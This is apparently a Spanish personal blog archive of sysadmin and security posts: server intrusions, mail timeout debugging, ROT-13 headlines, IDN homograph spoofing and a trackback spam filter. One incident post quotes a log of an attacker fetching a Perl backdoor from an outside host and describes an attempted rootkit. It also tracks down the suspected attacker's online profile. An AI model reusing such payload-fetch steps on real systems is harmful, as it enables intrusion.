Al final me toca utilizar un apaño, y convertir con iconv los emails que envío a ISO si el email de destino es hotmail/yahoo, pero no puede menos que indignarme que unos de los servicios de correo más utilizados puedan ser tan cutres a estas alturas como para no soportar todavía Unicode. Por supuesto añado una nota a los mensajes, advirtiendo al usuario que algunos caracteres internacionales puede que los vea mal por que usa un servicio de correo muy lamentable.

¿Y tú, aún no te has convertido a Gmail?

Hacking again

De frikis/Hacking, Cajón de sastre — 3/04/2006 @ 14:23

De nuevo ha pasado, han vuelto a entrar en el servidor web de la asociación, aunque esta vez los daños y problemas ocasionados han sido mínimos: El atacante no se pudo hacer root, y probablemente ni siquiera logró conectarse.

Es el problema que tiene el alojar un servidor web con tanto código de tanta gente, y tantos programas instalados. Parece que las pruebas apuntan a un blog no actualizado, aunque es difícil saberlo, ya que no han quedado logs.

Tras la llamada de Maria Luisa y Suso de esta mañana nos pusimos a investigar el asunto. El apache no respondía a peticiones y habían descubierto un proceso perl ejecutándose como usuario www-data, y conectado a un puerto raro (pero que para gran pesar del atacante, está filtrado por la escuela). El código en cuestión estaba en /tmp/coke.txt, y era un simple servidor telnet, para dar al atacante una consola remota.

En los logs de errores aparecía la siguiente salida de un wget:

--15:09:54--  http://www.vetorial.net/~matheuss/coke.txt
           => `coke.txt'
Resolving www.vetorial.net... 200.143.88.8
Connecting to www.vetorial.net|200.143.88.8|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11,046 (11K) [text/plain]

0K ………. 100% 17.59 KB/s

15:09:57 (17.59 KB/s) - `coke.txt’ saved [11046/11046]

En la web seguía estando disponible el script, y parecía ser del mismo atacante (lamentable error de pardillo), ya que el código incluía una password encriptada, sin indicar cuál era. No era una web de hacking ni un script de ejemplo con una password por defecto indicada en el código. Lo cual indica que el atacante tiene que saberla y la web es suya o tiene acceso a ella.

La web es de un proveedor de acceso a internet de Brasil, y el script tiene comentarios en portugués. Buscando por internet al tal Matheus se encuentra su perfil en otros sitios, relacionados con la temática de la página: Juegos RPC. Ups… tenemos su ICQ :))) Le he añadido a ver si se conecta y hablo con él. Va a ser divertido.

Lo más importante es encontrar por dónde entró para arreglar el fallo. Pero en los logs del apache no aparece la petición que baja el dichoso script y lo ejecuta. Parece como si el apache hubiera esperado a la finalización del script que ejecuta antes de loggear la petición, y como nunca acabó, se acabó tostando. Mirando las IPs que acceden algo antes sólo hay 2-3 de brasil, todas accediendo a un blog a raíz de búsquedas en Google Images, y de un proveedor de internet de Sau Paulo, lo mismo que dice el pavo en su perfil.

Seguiremos informando…

Movimientos en la red

De frikis/{ Hacking | Curiosidades } — 30/03/2006 @ 12:32

Algunas cosillas que se están moviendo estos días por Internet:

Bug del explorer
Uno de los gochos, sigue sin parchear, dejando vulnerables a millones de ordenadores y con exploits rondado por todo Internet. Pronto veremos nuevos DDOS me temo. Mientras Microsoft ha sido incapaz de sacar una corrección para el problema, han aparecido ya dos parches no oficiales de empresas de seguridad. Siguen lentos, lentos, lentos…

Prohibir para educar
Normal que vayan lentos después de leer esta entrevista a Ballmer de la que se mofan a placer en Slashdot. Las respuestas del CEO de Microsoft incluyen la siguiente:

–Do you have an iPod?
–No, I do not. Nor do my children. My children–in many dimensions they’re as poorly behaved as many other children, but at least on this dimension I’ve got my kids brainwashed: You don’t use Google, and you don’t use an iPod.

Si se siente orgulloso de lavar el cerebro a sus hijos para que no usen sistemas de la competencia, pura y llanamente por ser competencia, no por las cualidades técnicas que tengan, apaga y vámonos. Menuda “educación".

Apagón en la web
Pocos están al tanto, pero sólo quedan 60 días de plazo para que el Explorer siga aceptando como hasta ahora los contenidos multimedia embebidos, como Flash, applets, etc. Es el resultado colateral del sistema de patentes, que permitió a una empresa casi fantasma, Eolas, patentar el medio para embeber contenidos automáticamente en una página.

Los applets y objetos flash se verán desactivados, requiriendo un incómodo “click” del usuario para activarlos. Hay sin embargo absurdas soluciones para esquivar la patente, y que seguirán funcionando como hasta ahora: Que sea código javascript externo el que añada el contenido una vez cargada la página. Un estupendo ejemplo de hasta dónde puede llegar la estupidez de las patentes.

Las posibles soluciones son:

Opción A:
        // HTML File
        <html>
          <body leftmargin=0 topmargin=0 scroll=no>
            <script src="Embed.js"></script>
          </body>
        </html>

// embed.js document.write(’<embed src="examplecontrol">’)

Opción B: // HTML File <html> <body> <div> <script src="embedControlOuterHTML.js"></script> </div> </body> </html>

// embedControlOuterHTML.js embedControlLocation.outerHTML = ‘<embed src="examplecontrol">’;

Opción C: // HTML File <html> <body> <div id="DivID"> <script src="createElementExplicit.js"></script> </body> </html>

// createElementExplicit.js var myObject = document.createElement(’object’); DivID.appendChild(myObject); myObject.width = "200"; myObject.height = "100"; myObject.classid= "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6"; myObject.URL = "example.wmv"; myObject.uiMode = "none" ;

Opción D: // HTML File <html> <head> <script src="external_script.js" language="JScript"></script> </head>

<body> <div id="EXAMPLE_DIV_ID"> This text will be replaced by the control </div> <script language="JScript"> CreateControl( "EXAMPLE_DIV_ID", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6", "EXAMPLE_OBJECT_ID", "600", "400", "example.wmv", "-1") </script> </body> </html>

// external_script.js function CreateControl(DivID, CLSID, ObjectID, WIDTH, HEIGHT, URL, AUTOSTART) { var d = document.getElementById(DivID); d.innerHTML = ‘<object classid=’ + CLSID + ‘ id=’ + ObjectID + ‘ width=’ + WIDTH + ‘ height=’ + HEIGHT +’> <param name="URL" value=’ + URL + ‘> <param name="autoStart" value=’ + AUTOSTART + ‘/>’; }

Quedan multitud de sitios por alterar para que sean compatibles con la nueva forma de insertar contenidos, entre los que se encuentra por supuesto la web de la escuela que será inusable con tanto flash que tiene cuando los explorer cambien el modo de funcionamiento. (Más información de los cambios en MSDN).

Nuevo estilo de Google
En ArsTechnica han descubierto el nuevo estilo que Google está testeando e información de cómo activarlo. Para mi gusto, mejora un montón :) yo ya lo estoy usando, y a ver cuando está disponible para el resto de búsquedas (imágenes,…) y no sólo para búsquedas en la web.

Nuevo estilo de Google

Rails 1.1
Antes de ayer salió la nueva versión de RubyOnRails, y ayer en la Escuela hubo una charla sobre esta plataforma de desarrollo web. Mantengo mi opinión sobre el framework: Muy chulo y práctico para aplicaciones sencillas, pero sigo con dudas de si su sencillez se podría mantener para aplicaciones enormes como ARFO.

Loco, loco

De frikis/{ Hacking | Curiosidades } — 10/02/2006 @ 11:46

Casi me vuelve loco este problema que me he encontrado en GIO, el departamento donde curro.

Sin aparente explicación, los windows del departamento tardaban 30 segundos en conectar al servidor de correo, mientras que en los linux era instantáneo. Después de mucho configurar, desactivar firewalls, filtros, antivirus, antileches no conseguía nada. Un simple telnet al puerto 25 del servidor tardaba 30 segundos en mostrar el mensaje de vienvenida del servidor de correo, un Exim versión 4.

Además la red de GIO son todo switches, con lo cual no es posible capturar el tráfico de un windows desde mi portátil con linux directamente. Al final a buscar un hub por todos lados para poder capturar el tráfico.

Nada más ver la captura en Ethereal, se entiende todo:

Captura de tráfico de ethereal

La superior es el linux, y la inferior en windows. En naranja están marcados los tiempos de recepción de paquetes del windows, donde se aprecia cómo transcurren 30 segundos desde el primer SYN y recibir la respuesta SMTP.

La única diferencia entre ambas trazas son las peticiones “auth” (El protocolo ident, RFC 1423). El servidor SMTP trata de obtener información del ident del host que se conecta. En linux la conexión es rechazada, y la conexión sigue. El windows no responde, y se reintenta varias veces hasta que da timeout.

Haciendo un grep de auth, ident, etc… en los ficheros de configuración del Exim no encontraba nada. Finalmente busqué “timeout” y encontré finalmente las líneas culpables del desaguisado:

rfc1413_hosts = *
rfc1413_query_timeout = 30s

Reduciendo el timeout a 1 segundo el problema se solucionó :). Espero que os pueda servir de ayuda si le ocurre lo mismo a alguien, y recordar, para solucionar problemas de red, un analizador de tráfico como Ethereal te puede ayudar y mucho.

El País: ¡Extra!

De frikis/{ Hacking | Curiosidades } — 11/11/2005 @ 03:42

Hoy he visto el lanzamiento de ¡Extra!, un cliente de noticias de el periódico El País, que se baja los titulares y permite ver noticias de una forma muy cómoda.

No me he podido resistir a indagar un poco en las tecnologías que usaba por debajo. ¿Usarán por fin RSS? ¿Algo estándar? ¿Algo que se pueda usar con otros lectores de feeds RSS?

Lo instalé en el ordenador de mi hermano (el único con windoze) y me puse a capturar el tráfico: Resultado: algo decepcionante. No usa nada estándar.

Lo primero que hace es la petición de /pam/config.html (no hace ninguna comprobación de user-agent ni nada), que devuelve un fichero comprimido con gzip, aunque con errores al final. ¿Un burdo intento de que los descompresores den error? ¿un crc? zless, zcat, etc permiten ver el fichero sin problemas a pesar de todo:

$ wget www.elpais.es/pam/config.html
–00:58:47– http://www.elpais.es/pam/config.html
=> `config.html’
Resolving www.elpais.es… 195.53.49.7, 195.53.49.18
Connecting to www.elpais.es|195.53.49.7|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 1,737 (1.7K) [application/octet-stream]
100%[=====================================================>] 1,737 –.–K/s
00:58:47 (123.55 KB/s) - `config.html’ saved [1737/1737]
$ file config.html
config.html: gzip compressed data, from Unix
$ mv config.html test.gz
$ gunzip test.gz
gunzip: test.gz: unexpected end of file
$ ls -la test
ls: test: No such file or directory
$ zcat test.gz > test
zcat: test.gz: unexpected end of file
$ ls -la test
-rw-r–r– 1 user user 8418 2005-11-11 01:00 test

El fichero descomprimido resulta ser este XML, que parece ser un fichero de configuración de la aplicación, definiendo tipos de letra, secciones, etc. Pero ahí no está lo interesante, los titulares… sigamos mirando…

A continuación se baja un montón de imágenes variadas para la interfaz y publicidad, y lo interesante: /pam/news.html. En este caso es un fichero HTML sin más (peaso tecnología) que tiene cosas como:

<td>20051111elpepunac_1.Tes</td>
<td>Gerf snyyrpvqbf ny qreehzonefr ha rqvsvpvb ra Gneentban cbe han rkcybfvuffffa qr tnf</td>

El documento completo lo podéis ver aquí. ¡Parece algún tipo de encriptación avanzada de alto nivel! XDDD

Por los enlaces del documento se puede deducir mirando en la noticia original que:
Gerf snyyrpvqbf ny qreehzonefr ha rqvsvpvb ra Gneentban cbe han rkcybfvóa qr tnf
Debe ser equivalente al titular:
Tres fallecidos al derrumbarse un edificio en Tarragona por una explosión de gas

¡¡¡Oooohhh… que chungooooo!!! un desplazamiento de 13 caracteres, ROT-13… realmente currado, si señor, creo que nadie lo habría sacado (yo sólo gracias al super ordenador que me ha prestado la NASA).

$ echo "Gerf snyyrpvqbf ny qreehzonefr ha rqvsvpvb ra Gneentban cbe han rkcybfvóa qr tnf"
| tr n-za-mN-ZA-M a-mn-zA-MN-Z
Tres fallecidos al derrumbarse un edificio en Tarragona por una explosión de gas

Finalmente cuando das a visualizar una noticia, solicita: /pam/articulo-pam.html?xref=<id1>&anchor=<id2>, donde <id1> e <id2> son la primera y segunda parte del código de noticia que aparece en el listado. Es decir, para “20051111elpepunac_1.Tes” se separa por el punto, y ya está.

Molaría tener un conversor de Extra a RSS normal y corriente, que nos sería muy útil a los linuxeros. Y a ver si las empresas de comunicaciones aprenden que lo mejor es adoptar estándares, que simplifican las cosas. Ellos deberían querer informar, ¿no? pues eso, que no tiene sentido tratar de ocultar las cosas.

Mientras tanto, para todos vosotros (con código fuente incluído):

¡Mi lector de titulares de El País!

Convertirlo a RSS sencillo es trivial. Lo que molaría sería hacer que se bajara el contenido de las noticias para incluirlo en el feed. ¿Alguien se anima?

Día de Internet

De frikis/{ Hacking | Curiosidades } — 25/10/2005 @ 15:16

Hoy, en el día de Internet (increíble que se le dé más bombo a este día que al de las bibliotecas, el libro, el hambre…), voy a aprovechar para cagarme en MS y su implementación de los “estándares", que cuando se pone con ello se convierten en, pues eso, “estándares” entre comillas.

En el GIO he perdido 2 horas completas intentando averiguar por qué narices le fallaba una cuenta de correo a un usuario. Timeouts extraños, dejando además después un proceso bloqueado en el servidor hasta que daba timeout. Naturalmente como el cliente era un windoze, lo primero que he hecho ha sido probar en mi portátil, con telnet al puerto 110 si podía descargar bien los mensajes. Sí podía… Bien… Qué sorpresa… De verdad que no me lo esperaba… jejeje.

Una de las primeras cosas que probé fue desactivar el proxy-firewall-antivirus mierdero, que se dedica a interceptar conexiones TCP para ver si lo que pasa tiene virus, y siempre ha dado muchos problemas. Nada.

La configuración de usuario, tiene puesta la IP externa del servidor, que va por ADSL, y se arrastra. Eso puede ser la razón del timeout. Lo cambia… y nada…

Al final a las malas me voy a por mi portátil a interceptar el tráfico con el Ethereal, a ver qué narices está enviando el puto Outlook. Tras varias capturas infructuosas (por qué no pillará nada?) me doy cuenta que había pillado un switch para enchufar los dos ordenadores, que como era muy cutre había tomado por hub. Una vez conectado de nuevo todo al hub logro capturar. ¿Resultado? Seguía enviando a la IP antigua… “Hay, es que no he dado a Finalizar"… putos asistentes de windoze. Se cambia la IP de nuevo y ahora como la seda… ooohhh…

Pero lo flipante es el timeout del Outlook. Si está recibiendo datos de un mensaje, debería seguir recibiendo, aunque tarde mucho. El timeout es para las conexiones que han dejado de recibir datos, ¿no? Pues MS cierra la conexión pasado el minuto de descarga para cada mensaje, y cierra la conexión a lo burro, sin cerrar la conexión, por lo que el servidor no se entera de la desconexión y no puede eliminar los bloqueos.

Grrrr… ¿Cómo sería Internet hoy en día sin MS?

Ubuntu

De frikis/Hacking — 14/10/2005 @ 12:02

Ubuntu” is an ancient African word, meaning “humanity to others". Ubuntu also means “I am what I am because of who we all are". The Ubuntu Linux distribution brings the spirit of Ubuntu to the software world.

Ubuntu

Finalmente, tras mucho tiempo de largo camino, una Ubuntu “Breezy Badger” ha reemplazado a mi vetusta y desactualizada Gentoo. Todo funciona bien, se nota el nuevo gnome mucho más rápido y con menos consumo de memoria, aunque aún me quedan cosas por personalizar, que tenía mi Gentoo muy bien configurada.

Gentoo es una experiencia muy recomendable para todo aquel que quiera aprender un poco de linux. Especialmente el proceso de instalación, “from the scratch". Después de eso no habrá nada que se os resista. Pero para usar en un portátil compilar todo el rato no es una opción, y ahora con tanto curro no puedo perderlo hackeando tanto.

Nuevo y refrescante

De frikis/Hacking — 7/09/2005 @ 22:29

¡Ya está aquí el nuevo y refrescante Gnome 2.12!

Nuevo Gnome 2.12

Javascript a go-go

De frikis/Hacking — 22/05/2005 @ 23:58

GTD TiddlyWiki es la aplicación más increíble y útil que he visto programada íntegramente en javascript.

Se trata de un wiki, una página de notas, programada en javascript. Modifica el propio documento html para guardar los cambios que realizamos, y así podemos llevar en una memoria USB todo nuestro TODO en una página web multiplataforma.

No es sólo la ya de por sí complicada tarea de modificar el documento con DOM, entender la sintaxis wiki, crear formularios y todo eso, sino la cuidada interfaz, que incluye hasta efectos para cambiar entre notas abrir o cerrarlas, etc. Increíble.

Problemas de DNS de Google

De frikis/Hacking — 8/05/2005 @ 18:14

Ya lo sabe medio mundo, pero no me puedo resistir a comentarlo. La web de Google y muchos de sus otros servicios aparecía substituida por otras webs, en función de desde donde se estuviera solicitando la página.

Lo más gracioso de todo es el total desconocimiento de los medios de prensa –para variar–. Ni google ha sido hackeada ni parece que haya habido nadie malintencionado detrás de esto, sólo un conjunto de incidencias.

Primero muchos piensan en que esto es parte del “hackeo":

$ whois google.com
Whois Server Version 1.3
Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.
Server Name: GOOGLE.COM.SUCKS.FIND.CRACKZ.WITH.SEARCH.GULLI.COM
IP Address: 80.190.192.24
Registrar: KEY-SYSTEMS GMBH
Whois Server: whois.rrpproxy.net
Referral URL: http://www.key-systems.net
Server Name: GOOGLE.COM.HAS.LESS.FREE.PORN.IN.ITS.SEARCH.ENGINE.THAN.SECZY.COM
IP Address: 209.187.114.130
Registrar: INNERWISE, INC. D/B/A ITSYOURDOMAIN.COM
Whois Server: whois.itsyourdomain.com
Referral URL: http://www.itsyourdomain.com

En el whois aparecen todos los nombres de servidores dns que quiera tener cada cual, y si tu quieres poner a tu servidor de nombre en vez del típico “ns1.midominio.com", “microsoft.com.sucks.midominio.com", pues puede, y se verá en el whois al buscar microsoft.com.

Ahora mismo se pueden ver para microsoft las siguientes entradas (y casi cualquier empresa grande tendrá cosas parecidas):

MICROSOFT.COM.WAREZ.AT.TOPLIST.GULLI.COM
MICROSOFT.COM.WANADOODOO.COM
MICROSOFT.COM.SUX.BUT.PYROFREAK.ORG.RULEZ.AND.DIOXYTECH.NET.DELETED.GANDI.NET
MICROSOFT.COM.SMELLS.SIMPLECODES.COM
MICROSOFT.COM.SHOULD.GIVE.UP.BECAUSE.LINUXISGOD.COM
MICROSOFT.COM.RAWKZ.MUH.WERLD.MENTALFLOSS.CA
MICROSOFT.COM.OHMYGODITBURNS.COM
MICROSOFT.COM.LIVES.AT.SHAUNEWING.COM
MICROSOFT.COM.IS.NOT.AS.COOL.AS.SIMPLECODES.COM
MICROSOFT.COM.IS.IN.BED.WITH.CURTYV.COM
MICROSOFT.COM.IS.GOD.BECOUSE.UNIXSUCKS.COM
MICROSOFT.COM.IS.A.STEAMING.HEAP.OF.FUCKING-BULLSHIT.NET
MICROSOFT.COM.HAS.ITS.OWN.CRACKLAB.COM
MICROSOFT.COM.HAS.A.PRESENT.COMING.FROM.HUGHESMISSILES.COM
MICROSOFT.COM.FLINGS.POO.AT.MONKEYCORE.COM
MICROSOFT.COM.FILLS.ME.WITH.BELLIGERENCE.NET
MICROSOFT.COM.CAN.GO.FUCK.ITSELF.AT.SECZY.COM
MICROSOFT.COM.ARE.GODDAMN.PIGFUCKERS.NET.NS-NOT-IN-SERVICE.COM
MICROSOFT.COM.AND.MINDSUCK.BOTH.SUCK.HUGE.ONES.AT.EXEGETE.NET

Y finalmente el motivo de que la página de google apareciera substituida por otra no es más que las pruebas que hacen los navegadores cuando no encuentran un dominio. www.google.com no tenía ninguna entrada en el DNS por algún problema técnico, y los navegadores prueban a buscar www.google.com.com, luego www.google.com.net. Y voila!!! El dominio “com.net” está registrado, y www.google.com.net acaba mostrando la dichosa página de búsqueda de So Go Search.

Si a veces los navegadores no se empeñaran en hacernos las cosas fáciles y tomar decisiones por ellos mismos, simplemente se habría visto como un pequeño intervalo con Google caído.

Ataques IDN

De frikis/{ Hacking | Curiosidades } — 15/02/2005 @ 11:55

Leo compungido cómo Mozilla desactiva los IDN por defecto para hacer frente a los ataques de IDN.

Me parece muchísimo más correcta la opción que yo sostenía y que coincide con la de Opera:

Date: Thu, 20 Jan 2005 18:06:30 +0100
From: bug-161715-s10@bugs.opera.com
To: ericjATshmoo.com
Subject: Your bug report
 
Hello Eric,
 
What you illustrate is an inherent problem with IDNA and the international Unicode characterset. On many systems success may depend on which fonts and languages the user have installed (and what is included in the default installation)
 
There was a discussion about a similar issue in our forums a couple of days ago:
 
[ URL: http://groups.google.com/groups?threadm=tmg […] ]
 
Unfortunately, I do not believe your suggestion of warning the user about IDNA encoded names in the name of secure servers is particable. It might look that way when you are dealing with spoofsites such as your example, but it would be maddening for Chinese and Japanese websurfers, in fact it would also irritate many European (e.g. French, German and Scandinavian) surfers who are using languages with characters that will generate punycode servernames.
 
The problem about spoofing websites using IDNA is IMO best solved by the domainname registrars, by limiting on their side the character-combinations they want to accept in a domainname. AFAIK such limitations are implemented in (e.g.) the Norwegian zone, but Verisign has not yet implemented something similar, which is understandable given the worldwide use of .com domains.
 
Please note that Wand or cookies will not be tricked by this kind of servernames.

Al menos parece que también la Fundación Mozilla ve esto como una solución temporal, y mantiene que “the problem is mostly the fault of domain name registries and registrars that let people register homographic variants of existing domain names (the ICANN guidelines specifically warn against this)“.

Estaría bien que, ya que existen, las empresas del mundo de internet hicieran caso a los organismos que la dirigen. Los desarrolladores al W3C y los registradores al ICANN.

Arreglando el IDN

De frikis/{ Hacking | Curiosidades } — 10/02/2005 @ 00:25

Chema escribe en su blog sobre cómo solventar al menos de forma temporal el problema de seguridad que plantean los IDN.

Lo primero, es aclarar que los IDN son los Internacional Domain Names, es decir, nombres de dominio con caracteres no-ascii, como pueden ser la ñ, letras con acentos, e incluso letras chinas o cirílicas.

Efectivamente, el uso de IDN puede provocar problemas de seguridad en los navegadores que soportan IDN. Explorer queda fuera por una vez del mercado de los bugs, pero no por buena implementación, sino por falta de ella. Además la implementación en Firefox y otros navegadores de mozilla es impecable, no tiene fallos. ¿Entonces dónde está el problema? en los carácteres homógrafos, son distintos, pero tienen igual grafía. Así el caracter &#1072; (а) se parece terriblamente a la “a” normal (incluso juntas: аa aа ¿cuál es cuál?), y en una url pueden provocar confusión, que pienses que estás en un sitio cuando realmente estás en otro.

Mi opinión es que para nada se debería cambiar un ápice de la implementación de los navegadores. Donde se debería atajar el problema es en la raiz, en los pingües beneficios que obtiene Verisign y otros con los registros de nombres, aunque sean ilícitos.

Los registradores deberían tener una lista de los caracteres extendidos y sus equivalencias homógrafas en ascii, y cuando se solicite un dominio, como por ejemplo p&#1072;ypal.com, que se convierta al equivalente homógrafo, paypal.com y si está registrado, se deniegue el registro. Fácil, seguro, limpio.

No podemos pedir ahora a las personas sin conocimientos que miren en la barra de nosedónde la url de verdad que está cargando, ni marcar los caracteres IDN con otro color, por que no queda nada claro, y se exige mucho conocimiento al usuario. No. Controlar dominios fraudulentos debería ser como he dicho tareas de los registradores, que lo tienen además mucho más fácil que implementar parches y pseudo soluciones en todos los navegadores existentes.

Funciona!

De frikis/Hacking — 4/02/2005 @ 12:38

Parece que la pequeña modificación a los trackbacks es bastante efectiva para evitar el spam en los trackback de mi blog.

De 98 intentos de meter spam sólo han colado 6, por que el navegador con el que se identifican los robots de spam va cambiando, y una vez fue un Lotus Notes, otras tres Opera y dos Firefox, y yo sólo descarto los que tienen MSIE como parte del nombre del navegador.

Estoy pensando en ampliar los filtros a otros navegadores, ya que, como ya dije, a los trackback llaman las aplicaciones de blog, no los navegadores, y todo este tipo de peticiones suelen ser fraudulentas, para colar la odiada publicidad hasta en la cocina.

Blog Spam

De frikis/Hacking — 2/02/2005 @ 01:29

Arg… yo también he sufrido la plaga del spam en los trackbacks, al igual que Chema

Afortunadamente es infinitamente más cómodo borrarlos en WordPress que en el antiguo Movable Type, pero aun así resulta molesto.

Mirando los logs, se nota cómo se lo llegan a currar los spammers:

  1. Accede a tu web un navegador “Multimap Geotag Blog Parser/1.23″ desde una IP.
  2. Al poco, empiezas a recibir llamadas a los trackback de diversos artículos, desde distintas IPs y coordinadamente, no todas a la vez. Parece un spammer que controla varios ordenadores y va dando órdenes en un canal de IRC o similar.
  3. Aunque hay diversas variantes, parece que se identifican como navegadores normales -explorer 6.0- (craso error, pues ese tipo de enlaces no los llaman los navegadores, sino los blogs)

Basándome en esto, un par de simples líneas en el fichero wp-trackback.php me mantendrán a salvo de la mayoría del spam, al menos por una temporada, hasta que implemente algo más definitivo:

        @header('Content-Type: text/xml');

+ if (strpos($_SERVER[’HTTP_USER_AGENT’],’MSIE’)!==false) + trackback_response(1, ‘Sorry, this weblog does not allow you to trackback its posts.’);

if (!get_settings(’use_trackback’)) trackback_response(1, ‘Sorry, this weblog does not allow you to trackback its posts.’);

De paso envía una respuesta que hace parecer que mi blog no acepta ningún trackback, a ver si tienen bots inteligentes, detectan la respuesta y no siguen intentándolo. ¿Tendré suerte?. ¿O serán más bien tontos?. Con el detalle tan cutre de enviar ese navegador, dudo que sean tan listos, pero quién sabe.

Y ya que hablamos del WordPress… ¿alguien conoce qué filtro de entrada es más o menos inteligente, y no añade párrafos cuando metes contenido dentro de un tag <pre>, <code> o similares? Me estoy refiriendo al filtro que se aplica a las noticias que escribes para darles algo de formato [El que tengo ahora prácticamente lo único que hace es añadir <p>’s y encima lo hace mal… :( ]

Del paraíso al infierno

De frikis/Hacking, Mis historias/Muy personal — 24/01/2005 @ 17:51

Eso pasó el domingo 16, pasé del paraíso al infierno.

Sandra y yo hicimos una sensacional escapada de fin de semana a Granada, donde pude disfrutar de nuevo (y nunca me cansaré) de la Alhambra, y los barrios viejos de la ciudad, poblados por doquier de tiendas y ferviente actividad incluso en el frío invierno.

Imposible olvidar tampoco las raciones enoooormes de churros y a precios ridículos, y las tapas gratis -dignas de un rey- que te ponen con la caña o con la sangría.

Siempre que voy a Granada me vuelvo triste, pensando qué narices hacemos en la capital, con precios imposibles para salir a tomar algo con los amigos. Allí puedes tomar un par de cañas y cenar con las tapas que te ponen por menos de 3 euros, mientras que aquí te gastas casi eso en el transporte para ir a cualquier lado. En mi viaje a Valencia me pasó otro tanto de lo mismo, aunque en el caso de Granada la tradición de tapas hace aún más brusca la diferencia.

Pero la vuelta no era el infierno en sí. El infierno empezó con un mensaje que me enviaron mientras volvía en coche, diciendo que habían crackeado el servidor de nuestra asociación de estudiantes, Eurielec, y que habían fastidiado las páginas web e instalado algún demonio.

¡Genial! ¡Estupendo! En plena organización del Congreso de EESTEC quedarte sin web del congreso, sin servidor, y ponte a sanear y asegurar el servidor o reinstalarlo con el lío que tenemos.

Nada más llegar nos comentamos, y descubrí algunos procesos ejecutándose que no habían descubierto, y optamos por apagar la máquina para analizarla en frío y no correr más riesgos.

Este es el infierno que sufrí esa semana para restaurar el servidor, luchando casi más contra el maldito hardware que contra los crackers:

Inicio: Domingo de madrugada

  • Unos capullos brasileños crackean cero (nuestro servidor)
    • Borran los index de la web. Sin hacer copias de nada.
    • Ponen su firma en la web, con un enlace a un desagradable video de una ejecución en Irak, y se jactan de “venganza de los países que apoyaron a la guerra".
    • Instalan unos cuantos procesos para controlar la máquina
    • Intentan instalar un módulo en el kernel para ocultar programas, ficheros y otras huellas (sin éxito)
  • Nos damos cuenta
  • Rinze toma las primeras acciones, matando algún proceso y recuperando algunos index.
  • Consigo conectarme a Internet (nada más llegar del viaje)
  • Descubro otro proceso sospechoso.
  • Se decide apagar la máquina y reinstalar para evitar que la sigan controlando, y ver si se pueden recuperar cosas.
  • Para que no se cuelgue todo logro entrar en las máquinas por la noche, desmontar los /home (que se guardaban en cero) y parar el servidor de correo (que ya no tiene dónde guardar el correo).

El Infierno: Lunes

  • Tuesto una gentoo para montar los discos en read-only y analizarlos.
  • Los discos duros de cero dan problemas.
  • El ordenador se cuelga cada 2x3, sectores defectuosos, etc.
  • Abandono la búsqueda de logs incriminatorios para centrarnos en reinstalar y recuperar servicios.
  • Hago backup de lo que puedo a mi HD portátil, y las cosas del congreso las copio a seis (otro ordenador de la asociación) y grabo un CD.
  • Se decide comprar nuevos HD y reinstalar.
  • Voy corriendo a la beca, que ya subo tarde.
  • Se compran nuevos HD.
  • Me llevo cero a casa, javi me acerca los discos nuevos.
  • Planifico la asignación de espacio, particiones, raid, etc.
  • Intento instalar cero en mi casa por la noche, pero el instalador de ubuntu no es muy allá e instala mal el grub con discos en raid.
  • Además los discos duros nuevos no los detecta la bios, y hay que instalar el grub en el disco duro pequeño, que tiene una partición boot en raid1 con las de los grandes.
  • Logro instalar el grub a mano.
  • El ordenador no arranca, parece que el disco pequeño tiene que ser además master para que la puta mierda de placa arranque.
  • Cambio los discos, reinstalo, instalo el grub a mano.
  • Arranca.
  • Peta… el grub no encuentra el stage2 :?
  • Me desespero
  • Me acuesto

Mega infierno: Martes

  • Empiezo a ver por que petaba el stage2 de grub.
  • El disco duro pequeño también tiene sectores chungos: ¡Fieeestaaaa!
  • Intento hacer particiones más pequeñas, a ver si al principio no tiene sectores dañados
  • Desaparece misteriosamente las tablas de particiones de los discos grandes tras el reboot.
  • No tengo una copia de como estaban las particiones. A reinstalar…
  • Reinstalando con partición /boot más pequeña peta del todo el disco duro pequeño, y ya no se puede ni particionar.
  • (Maldiciones varias censuradas para el público)
  • Reinstalo desde el principio, pasando del disco pequeño (planeando arrancar desde disquete) e instalando -como no- el grub a mano.
  • Ninguna disquetera de eurielec es capaz de grabar un disquete de arranque con el grub.
  • (Maldiciones varias censuradas para el público)
  • (Maldiciones varias censuradas para el público)
  • Al final probando logro arrancar con los discos grandes engañando a la bios, poniendo los HD como definidos por el usuario. En anteriores ocasiones (con los HD antiguos) fallaba con el mensaje “Hard Disk Fail” pero con los nuevos parece que tira.
  • Estaban definidos como del tipo usuario, de 640 mb y 8 gigas respectivamente (los dos son de 200 gigas XD ).
  • Al arrancar linux sólo detecta bien el que estaba en la bios como de 8 gigas (por estar definido como LBA quizás). Los dispositivos raid se quejan amargamente, pero espero que no se haya petao todo again.
  • Reinicio, cambio los dos discos en la bios como si fueran de 8 gigas, en LBA, arranco… El disco que antes era de 640 mb ha perdido la tabla de particiones.
  • Arrancando en modo single, duplico las tablas de particiones del que si que se mantiene al que ha cascado con sfdisk, y soy capaz de formar de nuevo los raid.
  • Rearranco y el ordenata no arranca. Rehacer las tablas de particiones ha debido joder el grub del sector de arranque.
  • Intercambio los discos (por precaución había instalado el grub en los dos, y como la partición boot es RAID 1 todo debería funciona)
  • y… Arranca!!!
  • Vivan los raid con superbloque! Linux sabe recomponer los arrays raid y ver que partición va con cual, incluso en los RAID 0, a pesar del cambio de bus de los discos
  • Algunos arrays no se han iniciado correctamente, por que tuvieron cambios cuando se arrancó el sistema sin uno de los discos. Añado las particiones marcadas como defectuosas con mdadmn en caliente, y los arrays se van regenerando.
  • Parece que ya todo va a ir bien!!!
  • subo a gio, y desde allí empiezo a instalar cosas, y me voy dando cuenta de la magnitud del pifostio de recuperar todo…
  • (Maldiciones varias censuradas para el público)
  • Reinstalando las bases de datos me doy cuenta que volcando la base de datos de la web de congreso (y el wiki) había dado un error (por un attachment demasiado grande) y en vez de seguir con las otras tablas, había parado
  • Por supuesto, siguiendo la ley de Murfy, la tabla que necesitaba para la web del congreso no está en el volcado.
  • Yujuuuuu!
  • (Maldiciones varias censuradas para el público)
  • Bajo a Euri y meto los discos duros en el nuevo ordenador de euri, a ver si los puedo montar y recuperar la tabla que me falta y dejarlos así para ir recuperando cosas.
